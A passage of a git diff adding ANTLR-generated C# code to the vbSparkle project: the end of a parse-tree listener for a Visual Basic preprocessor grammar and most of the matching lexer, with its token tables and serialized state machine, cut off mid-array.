void ExitLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context) { } + /// + /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context) { } + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context) { } + + /// + /// The default implementation does nothing. + public virtual void EnterEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void ExitEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void VisitTerminal([NotNull] ITerminalNode node) { } + /// + /// The default implementation does nothing. + public virtual void VisitErrorNode([NotNull] IErrorNode node) { } +} diff --git a/Sources/vbSparkle/VBPreprocessorsLexer.cs b/Sources/vbSparkle/VBPreprocessorsLexer.cs new file mode 100644 index 0000000..7d9845c --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsLexer.cs @@ -0,0 +1,377 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBPreprocessorsLexer : Lexer { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + MACRO_CONST=1, AND=2, ATTRIBUTE=3, BEGIN=4, BEGINPROPERTY=5, CLASS=6, + CONST=7, ELSE=8, ELSEIF=9, END_IF=10, END=11, ENDPROPERTY=12, EQV=13, + FALSE=14, IF=15, IMP=16, IS=17, LIKE=18, MACRO_IF=19, MACRO_ELSEIF=20, + MACRO_ELSE=21, MACRO_END_IF=22, MOD=23, NOT=24, NOTHING=25, NULL=26, OBJECT=27, + OR=28, THEN=29, TRUE=30, VERSION=31, XOR=32, AMPERSAND=33, AT=34, COMMA=35, + DIV=36, DOT=37, EQ=38, EXCLAMATIONMARK=39, GEQ=40, GT=41, HASH=42, LEQ=43, + LBRACE=44, LPAREN=45, LT=46, MINUS=47, MULT=48, NEQ=49, PLUS=50, POW=51, + RBRACE=52, RPAREN=53, SEMICOLON=54, L_SQUARE_BRACKET=55, R_SQUARE_BRACKET=56, + STRINGLITERAL=57, DATELITERAL=58, HEXLITERAL=59, INTEGERLITERAL=60, DOUBLELITERAL=61, + FILENUMBER=62, OCTALLITERAL=63, GUID=64, NEWLINE=65, IDENTIFIER=66, COMMENT=67, + LINE_CONTINUATION=68, WS=69, ANYCHAR=70, REM=71, LABEL_L=72; + public static string[] channelNames = { + "DEFAULT_TOKEN_CHANNEL", "HIDDEN" + }; + + public static string[] modeNames = { + "DEFAULT_MODE" + }; + + public static readonly string[] ruleNames = { + "MACRO_CONST", "DOUBLE_DOT", "NL", "AND", "ATTRIBUTE", "BEGIN", "BEGINPROPERTY", + "CLASS", "CONST", "ELSE", "ELSEIF", "END_IF", "END", "ENDPROPERTY", "EQV", + "FALSE", "IF", "IMP", "IS", "LIKE", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", + "MACRO_END_IF", "MOD", "NOT", "NOTHING", "NULL", "OBJECT", "OR", "THEN", + "TRUE", "VERSION", "XOR", "AMPERSAND", "AT", "COMMA", "DIV", "DOT", "EQ", + "EXCLAMATIONMARK", "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", + "MINUS", "MULT", "NEQ", "PLUS", "POW", "RBRACE", "RPAREN", "SEMICOLON", + "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", "DATELITERAL", + "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", "OCTALLITERAL", + "GUID", "NEWLINE", "IDENTIFIER", "COMMENT", "LINE_CONTINUATION", "WS", + "ANYCHAR", "REM", "LABEL_L", "LETTER", "LETTERORDIGIT", "A", "B", "C", + "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", + "R", "S", "T", "U", "V", "W", "X", "Y", "Z" + }; + + + public VBPreprocessorsLexer(ICharStream input) + : this(input, Console.Out, Console.Error) { } + + public VBPreprocessorsLexer(ICharStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new LexerATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, "'&'", "'@'", "','", + null, "'.'", "'='", "'!'", "'>='", "'>'", "'#'", "'<='", "'{'", "'('", + "'<'", "'-'", "'*'", "'<>'", "'+'", "'^'", "'}'", "')'", "';'", "'['", + "']'" + }; + private static readonly string[] _SymbolicNames = { + null, "MACRO_CONST", "AND", "ATTRIBUTE", "BEGIN", "BEGINPROPERTY", "CLASS", + "CONST", "ELSE", "ELSEIF", "END_IF", "END", "ENDPROPERTY", "EQV", "FALSE", + "IF", "IMP", "IS", "LIKE", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", "MACRO_END_IF", + "MOD", "NOT", "NOTHING", "NULL", "OBJECT", "OR", "THEN", "TRUE", "VERSION", + "XOR", "AMPERSAND", "AT", "COMMA", "DIV", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MULT", + "NEQ", "PLUS", "POW", "RBRACE", "RPAREN", "SEMICOLON", "L_SQUARE_BRACKET", + "R_SQUARE_BRACKET", "STRINGLITERAL", "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", + "DOUBLELITERAL", "FILENUMBER", "OCTALLITERAL", "GUID", "NEWLINE", "IDENTIFIER", + "COMMENT", "LINE_CONTINUATION", "WS", "ANYCHAR", "REM", "LABEL_L" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBPreprocessors.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override string[] ChannelNames { get { return channelNames; } } + + public override string[] ModeNames { get { return modeNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBPreprocessorsLexer() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + private static int[] _serializedATN = { + 4,0,72,694,6,-1,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6,7, + 6,2,7,7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2,14, + 7,14,2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2,21, + 7,21,2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2,28, + 7,28,2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2,35, + 7,35,2,36,7,36,2,37,7,37,2,38,7,38,2,39,7,39,2,40,7,40,2,41,7,41,2,42, + 7,42,2,43,7,43,2,44,7,44,2,45,7,45,2,46,7,46,2,47,7,47,2,48,7,48,2,49, + 7,49,2,50,7,50,2,51,7,51,2,52,7,52,2,53,7,53,2,54,7,54,2,55,7,55,2,56, + 7,56,2,57,7,57,2,58,7,58,2,59,7,59,2,60,7,60,2,61,7,61,2,62,7,62,2,63, + 7,63,2,64,7,64,2,65,7,65,2,66,7,66,2,67,7,67,2,68,7,68,2,69,7,69,2,70, + 7,70,2,71,7,71,2,72,7,72,2,73,7,73,2,74,7,74,2,75,7,75,2,76,7,76,2,77, + 7,77,2,78,7,78,2,79,7,79,2,80,7,80,2,81,7,81,2,82,7,82,2,83,7,83,2,84, + 7,84,2,85,7,85,2,86,7,86,2,87,7,87,2,88,7,88,2,89,7,89,2,90,7,90,2,91, + 7,91,2,92,7,92,2,93,7,93,2,94,7,94,2,95,7,95,2,96,7,96,2,97,7,97,2,98, + 7,98,2,99,7,99,2,100,7,100,2,101,7,101,1,0,1,0,1,0,1,0,1,1,1,1,1,2,3,2, + 213,8,2,1,2,1,2,3,2,217,8,2,1,3,1,3,1,3,1,3,1,4,1,4,1,4,1,4,1,4,1,4,1, + 4,1,4,1,4,1,4,1,5,1,5,1,5,1,5,1,5,1,5,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1,6, + 1,6,1,6,1,6,1,6,1,6,1,6,1,7,1,7,1,7,1,7,1,7,1,7,1,8,1,8,1,8,1,8,1,8,1, + 8,1,9,1,9,1,9,1,9,1,9,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,11,1,11,1,11, + 1,11,1,11,1,11,1,11,1,12,1,12,1,12,1,12,1,13,1,13,1,13,1,13,1,13,1,13, + 1,13,1,13,1,13,1,13,1,13,1,13,1,14,1,14,1,14,1,14,1,15,1,15,1,15,1,15, + 1,15,1,15,1,16,1,16,1,16,1,17,1,17,1,17,1,17,1,18,1,18,1,18,1,19,1,19, + 1,19,1,19,1,19,1,20,1,20,1,20,1,21,1,21,1,21,1,22,1,22,1,22,1,23,1,23, + 1,23,1,24,1,24,1,24,1,24,1,25,1,25,1,25,1,25,1,26,1,26,1,26,1,26,1,26, + 1,26,1,26,1,26,1,27,1,27,1,27,1,27,1,27,1,28,1,28,1,28,1,28,1,28,1,28, + 1,28,1,29,1,29,1,29,1,30,1,30,1,30,1,30,1,30,1,31,1,31,1,31,1,31,1,31, + 1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,33,1,33,1,33,1,33,1,34,1,34, + 1,35,1,35,1,36,1,36,1,37,1,37,1,38,1,38,1,39,1,39,1,40,1,40,1,41,1,41, + 1,41,1,42,1,42,1,43,1,43,1,44,1,44,1,44,1,45,1,45,1,46,1,46,1,47,1,47, + 1,48,1,48,1,49,1,49,1,50,1,50,1,50,1,51,1,51,1,52,1,52,1,53,1,53,1,54, + 1,54,1,55,1,55,1,56,1,56,1,57,1,57,1,58,1,58,1,58,1,58,5,58,445,8,58,10, + 58,12,58,448,9,58,1,58,1,58,1,59,1,59,5,59,454,8,59,10,59,12,59,457,9, + 59,1,59,1,59,1,60,1,60,1,60,1,60,3,60,465,8,60,1,60,4,60,468,8,60,11,60, + 12,60,469,1,60,3,60,473,8,60,1,61,4,61,476,8,61,11,61,12,61,477,1,61,1, + 61,5,61,482,8,61,10,61,12,61,485,9,61,1,61,1,61,1,61,1,61,3,61,491,8,61, + 1,62,5,62,494,8,62,10,62,12,62,497,9,62,1,62,1,62,4,62,501,8,62,11,62, + 12,62,502,1,62,1,62,1,62,3,62,508,8,62,1,62,4,62,511,8,62,11,62,12,62, + 512,5,62,515,8,62,10,62,12,62,518,9,62,1,62,1,62,1,62,1,62,3,62,524,8, + 62,1,63,1,63,4,63,528,8,63,11,63,12,63,529,1,64,1,64,1,64,1,64,4,64,536, + 8,64,11,64,12,64,537,1,64,3,64,541,8,64,1,65,1,65,4,65,545,8,65,11,65, + 12,65,546,1,65,1,65,4,65,551,8,65,11,65,12,65,552,1,65,1,65,4,65,557,8, + 65,11,65,12,65,558,1,65,1,65,4,65,563,8,65,11,65,12,65,564,1,65,1,65,4, + 65,569,8,65,11,65,12,65,570,1,65,1,65,1,66,3,66,576,8,66,1,66,1,66,3,66, + 580,8,66,1,67,1,67,5,67,584,8,67,10,67,12,67,587,9,67,1,68,3,68,590,8, + 68,1,68,1,68,3,68,594,8,68,1,68,1,68,1,68,3,68,599,8,68,1,68,1,68,5,68, + 603,8,68,10,68,12,68,606,9,68,1,69,1,69,1,69,3,69,611,8,69,1,69,1,69,1, + 69,1,69,1,70,4,70,618,8,70,11,70,12,70,619,1,71,1,71,1,72,1,72,1,72,1, + 72,1,73,3,73,629,8,73,1,73,1,73,3,73,633,8,73,1,73,1,73,3,73,637,8,73, + 1,74,1,74,1,75,1,75,1,76,1,76,1,77,1,77,1,78,1,78,1,79,1,79,1,80,1,80, + 1,81,1,81,1,82,1,82,1,83,1,83,1,84,1,84,1,85,1,85,1,86,1,86,1,87,1,87, + 1,88,1,88,1,89,1,89,1,90,1,90,1,91,1,91,1,92,1,92,1,93,1,93,1,94,1,94, + 1,95,1,95,1,96,1,96,1,97,1,97,1,98,1,98,1,99,1,99,1,100,1,100,1,101,1, + 101,0,0,102,1,1,3,0,5,0,7,2,9,3,11,4,13,5,15,6,17,7,19,8,21,9,23,10,25, + 11,27,12,29,13,31,14,33,15,35,16,37,17,39,18,41,19,43,20,45,21,47,22,49, + 23,51,24,53,25,55,26,57,27,59,28,61,29,63,30,65,31,67,32,69,33,71,34,73, + 35,75,36,77,37,79,38,81,39,83,40,85,41,87,42,89,43,91,44,93,45,95,46,97, + 47,99,48,101,49,103,50,105,51,107,52,109,53,111,54,113,55,115,56,117,57, + 119,58,121,59,123,60,125,61,127,62,129,63,131,64,133,65,135,66,137,67, + 139,68,141,69,143,70,145,71,147,72,149,0,151,0,153,0,155,0,157,0,159,0, + 161,0,163,0,165,0,167,0,169,0,171,0,173,0,175,0,177,0,179,0,181,0,183, + 0,185,0,187,0,189,0,191,0,193,0,195,0,197,0,199,0,201,0,203,0,1,0,36,1, + 1,13,13,2,0,47,47,92,92,3,0,10,10,13,13,34,34,3,0,10,10,13,13,35,35,2, + 0,48,57,65,70,2,0,69,69,101,101,1,0,48,55,2,0,10,10,13,13,2,0,9,9,32,32, + 24,0,65,90,95,95,97,122,160,164,167,170,172,174,178,182,185,189,195,197, + 225,225,338,339,352,353,381,381,402,402,710,710,8211,8211,8217,8218,8220, + 8222,8225,8226,8240,8240,8250,8250,8364,8364,8482,8482,65533,65533,25, + 0,48,57,65,90,95,95,97,122,160,164,167,170,172,174,178,182,185,189,195, + 197,225,225,338,339,352,353,381,381,402,402,710,710,8211,8211,8217,8218, + 8220,8222,8225,8226,8240,8240,8250,8250,8364,8364,8482,8482,65533,65533, + 2,0,65,65,97,97,2,0,66,66,98,98,2,0,67,67,99,99,2,0,68,68,100,100,2,0, + 70,70,102,102,2,0,71,71,103,103,2,0,72,72,104,104,2,0,73,73,105,105,2, + 0,74,74,106,106,2,0,75,75,107,107,2,0,76,76,108,108,2,0,77,77,109,109, + 2,0,78,78,110,110,2,0,79,79,111,111,2,0,80,80,112,112,2,0,81,81,113,113, + 2,0,82,82,114,114,2,0,83,83,115,115,2,0,84,84,116,116,2,0,85,85,117,117, + 2,0,86,86,118,118,2,0,87,87,119,119,2,0,88,88,120,120,2,0,89,89,121,121, + 2,0,90,90,122,122,708,0,1,1,0,0,0,0,7,1,0,0,0,0,9,1,0,0,0,0,11,1,0,0,0, + 0,13,1,0,0,0,0,15,1,0,0,0,0,17,1,0,0,0,0,19,1,0,0,0,0,21,1,0,0,0,0,23, + 1,0,0,0,0,25,1,0,0,0,0,27,1,0,0,0,0,29,1,0,0,0,0,31,1,0,0,0,0,33,1,0,0, + 0,0,35,1,0,0,0,0,37,1,0,0,0,0,39,1,0,0,0,0,41,1,0,0,0,0,43,1,0,0,0,0,45, + 1,0,0,0,0,47,1,0,0,0,0,49,1,0,0,0,0,51,1,0,0,0,0,53,1,0,0,0,0,55,1,0,0, + 0,0,57,1,0,0,0,0,59,1,0,0,0,0,61,1,0,0,0,0,63,1,0,0,0,0,65,1,0,0,0,0,67, + 1,0,0,0,0,69,1,0,0,0,0,71,1,0,0,0,0,73,1,0,0,0,0,75,1,0,0,0,0,77,1,0,0, + 0,0,79,1,0,0,0,0,81,1,0,0,0,0,83,1,0,0,0,0,85,1,0,0,0,0,87,1,0,0,0,0,89, + 1,0,0,0,0,91,1,0,0,0,0,93,1,0,0,0,0,95,1,0,0,0,0,97,1,0,0,0,0,99,1,0,0, + 0,0,101,1,0,0,0,0,103,1,0,0,0,0,105,1,0,0,0,0,107,1,0,0,0,0,109,1,0,0, + 0,0,111,1,0,0,0,0,113,1,0,0,0,0,115,1,0,0,0,0,117,1,0,0,0,0,119,1,0,0, + 0,0,121,1,0,0,0,0,123,1,0,0,0,0,125,1,0,0,0,0,127,1,0,0,0,0,129,1,0,0, + 0,0,131,1,0,0,0,0,133,1,0,0,0,0,135,1,0,0,0,0,137,1,0,0,0,0,139,1,0,0, + 0,0,141,1,0,0,0,0,143,1,0,0,0,0,145,1,0,0,0,0,147,1,0,0,0,1,205,1,0,0, + 0,3,209,1,0,0,0,5,216,1,0,0,0,7,218,1,0,0,0,9,222,1,0,0,0,11,232,1,0,0, + 0,13,238,1,0,0,0,15,252,1,0,0,0,17,258,1,0,0,0,19,264,1,0,0,0,21,269,1, + 0,0,0,23,276,1,0,0,0,25,283,1,0,0,0,27,287,1,0,0,0,29,299,1,0,0,0,31,303, + 1,0,0,0,33,309,1,0,0,0,35,312,1,0,0,0,37,316,1,0,0,0,39,319,1,0,0,0,41, + 324,1,0,0,0,43,327,1,0,0,0,45,330,1,0,0,0,47,333,1,0,0,0,49,336,1,0,0, + 0,51,340,1,0,0,0,53,344,1,0,0,0,55,352,1,0,0,0,57,357,1,0,0,0,59,364,1, + 0,0,0,61,367,1,0,0,0,63,372,1,0,0,0,65,377,1,0,0,0,67,385,1,0,0,0,69,389, + 1,0,0,0,71,391,1,0,0,0,73,393,1,0,0,0,75,395,1,0,0,0,77,397,1,0,0,0,79, + 399,1,0,0,0,81,401,1,0,0,0,83,403,1,0,0,0,85,406,1,0,0,0,87,408,1,0,0, + 0,89,410,1,0,0,0,91,413,1,0,0,0,93,415,1,0,0,0,95,417,1,0,0,0,97,419,1, + 0,0,0,99,421,1,0,0,0,101,423,1,0,0,0,103,426,1,0,0,0,105,428,1,0,0,0,107, + 430,1,0,0,0,109,432,1,0,0,0,111,434,1,0,0,0,113,436,1,0,0,0,115,438,1, + 0,0,0,117,440,1,0,0,0,119,451,1,0,0,0,121,464,1,0,0,0,123,475,1,0,0,0, + 125,495,1,0,0,0,127,525,1,0,0,0,129,531,1,0,0,0,131,542,1,0,0,0,133,575, + 1,0,0,0,135,581,1,0,0,0,137,589,1,0,0,0,139,607,1,0,0,0,141,617,1,0,0, + 0,143,621,1,0,0,0,145,623,1,0,0,0,147,628,1,0,0,0,149,638,1,0,0,0,151, + 640,1,0,0,0,153,642,1,0,0,0,155,644,1,0,0,0,157,646,1,0,0,0,159,648,1, + 0,0,0,161,650,1,0,0,0,163,652,1,0,0,0,165,654,1,0,0,0,167,656,1,0,0,0, + 169,658,1,0,0,0,171,660,1,0,0,0,173,662,1,0,0,0,175,664,1,0,0,0,177,666, + 1,0,0,0,179,668,1,0,0,0,181,670,1,0,0,0,183,672,1,0,0,0,185,674,1,0,0, + 0,187,676,1,0,0,0,189,678,1,0,0,0,191,680,1,0,0,0,193,682,1,0,0,0,195, + 684,1,0,0,0,197,686,1,0,0,0,199,688,1,0,0,0,201,690,1,0,0,0,203,692,1, + 0,0,0,205,206,3,87,43,0,206,207,3,17,8,0,207,208,3,141,70,0,208,2,1,0, + 0,0,209,210,5,58,0,0,210,4,1,0,0,0,211,213,5,13,0,0,212,211,1,0,0,0,212, + 213,1,0,0,0,213,214,1,0,0,0,214,217,5,10,0,0,215,217,7,0,0,0,216,212,1, + 0,0,0,216,215,1,0,0,0,217,6,1,0,0,0,218,219,3,153,76,0,219,220,3,179,89, + 0,220,221,3,159,79,0,221,8,1,0,0,0,222,223,3,153,76,0,223,224,3,191,95, + 0,224,225,3,191,95,0,225,226,3,187,93,0,226,227,3,169,84,0,227,228,3,155, + 77,0,228,229,3,193,96,0,229,230,3,191,95,0,230,231,3,161,80,0,231,10,1, + 0,0,0,232,233,3,155,77,0,233,234,3,161,80,0,234,235,3,165,82,0,235,236, + 3,169,84,0,236,237,3,179,89,0,237,12,1,0,0,0,238,239,3,155,77,0,239,240, + 3,161,80,0,240,241,3,165,82,0,241,242,3,169,84,0,242,243,3,179,89,0,243, + 244,3,183,91,0,244,245,3,187,93,0,245,246,3,181,90,0,246,247,3,183,91, + 0,247,248,3,161,80,0,248,249,3,187,93,0,249,250,3,191,95,0,250,251,3,201, + 100,0,251,14,1,0,0,0,252,253,3,157,78,0,253,254,3,175,87,0,254,255,3,153, + 76,0,255,256,3,189,94,0,256,257,3,189,94,0,257,16,1,0,0,0,258,259,3,157, + 78,0,259,260,3,181,90,0,260,261,3,179,89,0,261,262,3,189,94,0,262,263, + 3,191,95,0,263,18,1,0,0,0,264,265,3,161,80,0,265,266,3,175,87,0,266,267, + 3,189,94,0,267,268,3,161,80,0,268,20,1,0,0,0,269,270,3,161,80,0,270,271, + 3,175,87,0,271,272,3,189,94,0,272,273,3,161,80,0,273,274,3,169,84,0,274, + 275,3,163,81,0,275,22,1,0,0,0,276,277,3,161,80,0,277,278,3,179,89,0,278, + 279,3,159,79,0,279,280,5,32,0,0,280,281,3,169,84,0,281,282,3,163,81,0, + 282,24,1,0,0,0,283,284,3,161,80,0,284,285,3,179,89,0,285,286,3,159,79, + 0,286,26,1,0,0,0,287,288,3,161,80,0,288,289,3,179,89,0,289,290,3,159,79, + 0,290,291,3,183,91,0,291,292,3,187,93,0,292,293,3,181,90,0,293,294,3,183, + 91,0,294,295,3,161,80,0,295,296,3,187,93,0,296,297,3,191,95,0,297,298, + 3,201,100,0,298,28,1,0,0,0,299,300,3,161,80,0,300,301,3,185,92,0,301,302, + 3,195,97,0,302,30,1,0,0,0,303,304,3,163,81,0,304,305,3,153,76,0,305,306, + 3,175,87,0,306,307,3,189,94,0,307,308,3,161,80,0,308,32,1,0,0,0,309,310, + 3,169,84,0,310,311,3,163,81,0,311,34,1,0,0,0,312,313,3,169,84,0,313,314, + 3,177,88,0,314,315,3,183,91,0,315,36,1,0,0,0,316,317,3,169,84,0,317,318, + 3,189,94,0,318,38,1,0,0,0,319,320,3,175,87,0,320,321,3,169,84,0,321,322, + 3,173,86,0,322,323,3,161,80,0,323,40,1,0,0,0,324,325,3,87,43,0,325,326, + 3,33,16,0,326,42,1,0,0,0,327,328,3,87,43,0,328,329,3,21,10,0,329,44,1, + 0,0,0,330,331,3,87,43,0,331,332,3,19,9,0,332,46,1,0,0,0,333,334,3,87,43, + 0,334,335,3,23,11,0,335,48,1,0,0,0,336,337,3,177,88,0,337,338,3,181,90, + 0,338,339,3,159,79,0,339,50,1,0,0,0,340,341,3,179,89,0,341,342,3,181,90, + 0,342,343,3,191,95,0,343,52,1,0,0,0,344,345,3,179,89,0,345,346,3,181,90, + 0,346,347,3,191,95,0,347,348,3,167,83,0,348,349,3,169,84,0,349,350,3,179, + 89,0,350,351,3,165,82,0,351,54,1,0,0,0,352,353,3,179,89,0,353,354,3,193, + 96,0,354,355,3,175,87,0,355,356,3,175,87,0,356,56,1,0,0,0,357,358,3,181, + 90,0,358,359,3,155,77,0,359,360,3,171,85,0,360,361,3,161,80,0,361,362, + 3,157,78,0,362,363,3,191,95,0,363,58,1,0,0,0,364,365,3,181,90,0,365,366, + 3,187,93,0,366,60,1,0,0,0,367,368,3,191,95,0,368,369,3,167,83,0,369,370, + 3,161,80,0,370,371,3,179,89,0,371,62,1,0,0,0,372,373,3,191,95,0,373,374, + 3,187,93,0,374,375,3,193,96,0,375,376,3,161,80,0,376,64,1,0,0,0,377,378, + 3,195,97,0,378,379,3,161,80,0,379,380,3,187,93,0,380,381,3,189,94,0,381, + 382,3,169,84,0,382,383,3,181,90,0,383,384,3,179,89,0,384,66,1,0,0,0,385, + 386,3,199,99,0,386,387,3,181,90,0,387,388,3,187,93,0,388,68,1,0,0,0,389, + 390,5,38,0,0,390,70,1,0,0,0,391,392,5,64,0,0,392,72,1,0,0,0,393,394,5, + 44,0,0,394,74,1,0,0,0,395,396,7,1,0,0,396,76,1,0,0,0,397,398,5,46,0,0, + 398,78,1,0,0,0,399,400,5,61,0,0,400,80,1,0,0,0,401,402,5,33,0,0,402,82, + 1,0,0,0,403,404,5,62,0,0,404,405,5,61,0,0,405,84,1,0,0,0,406,407,5,62, + 0,0,407,86,1,0,0,0,408,409,5,35,0,0,409,88,1,0,0,0,410,411,5,60,0,0,411, + 412,5,61,0,0,412,90,1,0,0,0,413,414,5,123,0,0,414,92,1,0,0,0,415,416,5, + 40,0,0,416,94,1,0,0,0,417,418,5,60,0,0,418,96,1,0,0,0,419,420,5,45,0,0, + 420,98,1,0,0,0,421,422,5,42,0,0,422,100,1,0,0,0,423,424,5,60,0,0,424,425, + 5,62,0,0,425,102,1,0,0,0,426,427,5,43,0,0,427,104,1,0,0,0,428,429,5,94, + 0,0,429,106,1,0,0,0,430,431,5,125,0,0,431,108,1,0,0,0,432,433,5,41,0,0, + 433,110,1,0,0,0,434,435,5,59,0,0,435,112,1,0,0,0,436,437,5,91,0,0,437, + 114,1,0,0,0,438,439,5,93,0,0,439,116,1,0,0,0,440,446,5,34,0,0,441,445, + 8,2,0,0,442,443,5,34,0,0,443,445,5,34,0,0,444,441,1,0,0,0,444,442,1,0, + 0,0,445,448,1,0,0,0,446,444,1,0,0,0,446,447,1,0,0,0,447,449,1,0,0,0,448, + 446,1,0,0,0,449,450,5,34,0,0,450,118,1,0,0,0,451,455,3,87,43,0,452,454, + 8,3,0,0,453,452,1,0,0,0,454,457,1,0,0,0,455,453,1,0,0,0,455,456,1,0,0, + 0,456,458,1,0,0,0,457,455,1,0,0,0,458,459,3,87,43,0,459,120,1,0,0,0,460, + 461,5,38,0,0,461,465,5,72,0,0,462,463,5,38,0,0,463,465,5,104,0,0,464,460, + 1,0,0,0,464,462,1,0,0,0,465,467,1,0,0,0,466,468,7,4,0,0,467,466,1,0,0, + 0,468,469,1,0,0,0,469,467,1,0,0,0,469,470,1,0,0,0,470,472,1,0,0,0,471, + 473,3,69,34,0,472,471,1,0,0,0,472,473,1,0,0,0,473,122,1,0,0,0,474,476, + 2,48,57,0,475,474,1,0,0,0,476,477,1,0,0,0,477,475,1,0,0,0,477,478,1,0, + 0,0,478,483,1,0,0,0,479,480,7,5,0,0,480,482,3,123,61,0,481,479,1,0,0,0, + 482,485,1,0,0,0,483,481,1,0,0,0,483,484,1,0,0,0,484,490,1,0,0,0,485,483, + 1,0,0,0,486,491,3,87,43,0,487,491,3,69,34,0,488,491,3,81,40,0,489,491, + 3,71,35,0,490,486,1,0,0,0,490,487,1,0,0,0,490,488,1,0,0,0,490,489,1,0, + 0,0,490,491,1,0,0,0,491,124,1,0,0,0,492,494,2,48,57,0,493,492,1,0,0,0, + 494,497,1,0,0,0,495,493,1,0,0,0,495,496,1,0,0,0,496,498,1,0,0,0,497,495, + 1,0,0,0,498,500,3,77,38,0,499,501,2,48,57,0,500,499,1,0,0,0,501,502,1, + 0,0,0,502,500,1,0,0,0,502,503,1,0,0,0,503,516,1,0,0,0,504,507,7,5,0,0, + 505,508,3,103,51,0,506,508,3,97,48,0,507,505,1,0,0,0,507,506,1,0,0,0,507, + 508,1,0,0,0,508,510,1,0,0,0,509,511,2,48,57,0,510,509,1,0,0,0,511,512, + 1,0,0,0,512,510,1,0,0,0,512,513,1,0,0,0,513,515,1,0,0,0,514,504,1,0,0, + 0,515,518,1,0,0,0,516,514,1,0,0,0,516,517,1,0,0,0,517,523,1,0,0,0,518, + 516,1,0,0,0,519,524,3,87,43,0,520,524,3,69,34,0,521,524,3,81,40,0,522, + 524,3,71,35,0,523,519,1,0,0,0,523,520,1,0,0,0,523,521,1,0,0,0,523,522, + 1,0,0,0,523,524,1,0,0,0,524,126,1,0,0,0,525,527,3,87,43,0,526,528,3,151, + 75,0,527,526,1,0,0,0,528,529,1,0,0,0,529,527,1,0,0,0,529,530,1,0,0,0,530, + 128,1,0,0,0,531,532,5,38,0,0,532,533,5,79,0,0,533,535,1,0,0,0,534,536, + 7,6,0,0,535,534,1,0,0,0,536,537,1,0,0,0,537,535,1,0,0,0,537,538,1,0,0, + 0,538,540,1,0,0,0,539,541,3,69,34,0,540,539,1,0,0,0,540,541,1,0,0,0,541, + 130,1,0,0,0,542,544,3,91,45,0,543,545,7,4,0,0,544,543,1,0,0,0,545,546, + 1,0,0,0,546,544,1,0,0,0,546,547,1,0,0,0,547,548,1,0,0,0,548,550,3,97,48, + 0,549,551,7,4,0,0,550,549,1,0,0,0,551,552,1,0,0,0,552,550,1,0,0,0,552, + 553,1,0,0,0,553,554,1,0,0,0,554,556,3,97,48,0,555,557,7,4,0,0,556,555, + 1,0,0,0,557,558,1,0,0,0,558,556,1,0,0,0,558,559,1,0,0,0,559,560,1,0,0, + 0,560,562,3,97,48,0,561,563,7,4,0,0,562,561,1,0,0,0,563,564,1,0,0,0,564, + 